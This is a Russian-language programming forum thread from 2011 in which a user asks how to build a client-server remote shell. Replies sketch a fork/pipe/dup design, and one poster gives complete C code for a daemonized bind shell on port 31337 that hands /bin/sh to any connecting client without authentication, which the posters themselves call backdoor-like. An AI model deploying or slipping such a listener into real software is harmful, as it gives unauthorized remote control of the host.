Модераторы: xvr
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> несколько вопросов по remote shell 
V
    Опции темы
boostcoder
Дата 19.2.2011, 23:00 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


pattern`щик
****


Профиль
Группа: Завсегдатай
Сообщений: 5458
Регистрация: 1.4.2010

Репутация: 16
Всего: 110



всем доброго вечера.
к некоторому проекту, хочу написать пример в виде уделенного шела.
т.е.: клиентское приложение коннектится к серверному, и шлет команды введенные пользователем. серверное приложение, обратно отсылает ответы.
к примеру, юзер ввел команду "pwd". в ответ он должен получить понятно что. или такой пример: юзер ввел команду "ls", в ответ должен получить тоже понятно что.

как обычно такое реализуется?
я предполагаю, что на серверной стороне нужно работать с шелом, вместо того чтоб каждую пользовательскую команду выполнять с помощью system() или popen() ?
какие варианты?

спасибо.

PM WWW   Вверх
500mhz
Дата 19.2.2011, 23:07 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


шайтан
***


Профиль
Группа: Завсегдатай
Сообщений: 1017
Регистрация: 5.5.2008
Где: Киев / Italy

Репутация: нет
Всего: 14



google -> bind shell


--------------------

PM MAIL ICQ   Вверх
MAKCim
Дата 20.2.2011, 12:39 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Воін дZэна
****


Профиль
Группа: Экс. модератор
Сообщений: 5644
Регистрация: 10.12.2005
Где: Менск, РБ

Репутация: 84
Всего: 207



fork + pipe + dup
создаешь процесс shell'а
связываешь stdin/stdout с пайпом
читаешь данные с сокета, пишешь в пайп, читаешь с пайпа данные, пишешь в сокет


--------------------
Ах, у елі, ах, у ёлкі, ах, у елі злыя волкі ©

PM MAIL   Вверх
fish9370
Дата 20.2.2011, 13:27 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 663
Регистрация: 15.4.2007
Где: Москва

Репутация: 2
Всего: 1



замысел похож на бэкдор (bindshell)

Код

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
^
int main(int argc, char *argv[])
{
  int sd, cli, port;
  struct sockaddr_in servaddr;
  port = 31337;

  daemon(1, 0);
  if (argc != 1) port = atoi(argv[1]);

  servaddr.sin_family = AF_INET;
  servaddr.sin_addr.s_addr = INADDR_ANY;
  servaddr.sin_port = htons(port);

  sd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (bind(sd, (struct sockaddr *)&servaddr, sizeof(servaddr)))
    perror("bind() failed");

  listen(sd, 1);
  cli = accept(sd, NULL, 0);
  dup2(cli, 0);
  dup2(cli, 1);
  dup2(cli, 2);
  execl("/bin/sh", "sh", NULL);
}




--------------------
undefined
PM MAIL WWW ICQ   Вверх
MAKCim
Дата 20.2.2011, 13:44 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Воін дZэна
****


Профиль
Группа: Экс. модератор
Сообщений: 5644
Регистрация: 10.12.2005
Где: Менск, РБ

Репутация: 84
Всего: 207



Цитата(fish9370 @  20.2.2011,  13:27 Найти цитируемый пост)
замысел похож на бэкдор (bindshell)

здесь нет контроля


--------------------
Ах, у елі, ах, у ёлкі, ах, у елі злыя волкі ©

PM MAIL   Вверх
fish9370
Дата 20.2.2011, 13:52 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 663
Регистрация: 15.4.2007
Где: Москва

Репутация: 2
Всего: 1



Цитата(MAKCim @  20.2.2011,  13:44 Найти цитируемый пост)
здесь нет контроля


я что-то не так понял?


--------------------
undefined
PM MAIL WWW ICQ   Вверх
MAKCim
Дата 20.2.2011, 14:05 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Воін дZэна
****


Профиль
Группа: Экс. модератор
Сообщений: 5644
Регистрация: 10.12.2005
Где: Менск, РБ

Репутация: 84
Всего: 207



Цитата(fish9370 @  20.2.2011,  13:52 Найти цитируемый пост)
я что-то не так понял? 

здесь нет возможности перед передачей шеллу пропарсить команду и отфильтровать если что


--------------------
Ах, у елі, ах, у ёлкі, ах, у елі злыя волкі ©

PM MAIL   Вверх
500mhz
  Дата 20.2.2011, 14:22 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


шайтан
***


Профиль
Группа: Завсегдатай
Сообщений: 1017
Регистрация: 5.5.2008
Где: Киев / Italy

Репутация: нет
Всего: 14



MAKCim
а зачем собственно?


--------------------

PM MAIL ICQ   Вверх
boostcoder
Дата 20.2.2011, 20:50 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


pattern`щик
****


Профиль
Группа: Завсегдатай
Сообщений: 5458
Регистрация: 1.4.2010

Репутация: 16
Всего: 110



Цитата(MAKCim @ 20.2.2011,  12:39)
fork + pipe + dup
создаешь процесс shell'а
связываешь stdin/stdout с пайпом
читаешь данные с сокета, пишешь в пайп, читаешь с пайпа данные, пишешь в сокет

понял.
спасибо.

PM WWW   Вверх
fish9370
Дата 20.2.2011, 21:10 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 663
Регистрация: 15.4.2007
Где: Москва

Репутация: 2
Всего: 1



Цитата(MAKCim @  20.2.2011,  14:05 Найти цитируемый пост)
здесь нет возможности перед передачей шеллу пропарсить команду и отфильтровать если что


я согласен, данная реализация годится, разве что, для бэкдора.. но на его задание похоже.. 


--------------------
undefined
PM MAIL WWW ICQ   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "С/С++: Программирование под Unix/Linux"
xvr
  • Проставьте несколько ключевых слов темы, чтобы её можно было легче найти.
  • Не забывайте пользоваться кнопкой "Код".
  • Вопросы мобильной разработки тут
  • Телепатов на форуме нет! Задавайте чёткий, конкретный и полный вопрос. Указывайте полностью ошибки компилятора и компоновщика.
  • Новое сообщение должно иметь прямое отношение к разделу форума. Флуд, флейм, оффтопик запрещены.
  • Категорически запрещается обсуждение вареза, "кряков", взлома программ и т.д.

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, xvr.

 
 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | C/C++: Программирование под Unix/Linux | Следующая тема »


 




[ Время генерации скрипта: 0.0524 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.